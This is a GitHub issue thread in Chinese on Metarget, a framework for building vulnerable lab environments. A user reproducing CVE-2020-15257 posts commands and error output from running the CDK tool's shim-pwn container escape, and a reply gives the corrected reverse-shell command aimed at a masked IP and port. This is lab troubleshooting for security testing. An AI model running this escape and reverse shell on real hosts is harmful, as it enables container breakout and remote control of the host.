Metarget / metarget

Metarget is a framework providing automatic constructions of vulnerable infrastructures.
Apache License 2.0
1.05k stars 163 forks source link

CVE-2020-15257环境复现报错 #125

Open Tr0e opened 7 months ago

Tr0e commented 7 months ago

Ubuntu 18.04.6系统,安装最新的Metarget,搭建CVE-2020-15257成功: image 但通过CDK反弹Shell报错如下:

aaa@ubuntu:~/Downloads$ docker run -itd --net=host ubuntu /bin/bash
76930ffb13c0f84f22d925c810f552855567174b727b84dc9af1a731bcbe084c
sbw@ubuntu:~/Downloads$
aaa@ubuntu:~/Downloads$ 
aaa@ubuntu:~/Downloads$ docker cp cdk_linux_amd64 76:/
aaa@ubuntu:~/Downloads$ 
aaa@ubuntu:~/Downloads$ docker exec -it 76 /bin/bash
root@ubuntu:/# chmod +x cdk_linux_amd64 
root@ubuntu:/# 
root@ubuntu:/# ./cdk_linux_amd64 run shim-pwn 100.xx.xx.xx 6666
2024/01/24 02:32:56 trying to run shell cmd: 100.xx.xx.xx 6666
2024/01/24 02:32:56 try socket: @/containerd-shim/moby/76930ffb13c0f84f22d925c810f552855567174b727b84dc9af1a731bcbe084c/shim.sock
2024/01/24 02:32:56 rpc error response.:
rpc error: code = Unknown desc = OCI runtime create failed: runc create failed: unable to start container process: error during container init: error running hook #0: error running hook: exit status 127, stdout: , stderr: bash: 100.xx.xx.xx: command not found
2024/01/24 02:32:56 exploit failed.
root@ubuntu:/# 

请问有没有什么好的建议解决该问题?谢谢!

zrquan commented 4 months ago

CDK 的命令少了个 reverse:./cdk_linux_amd64 run shim-pwn reverse 100.xx.xx.xx 6666

Lvzhizheng commented 4 weeks ago

已解决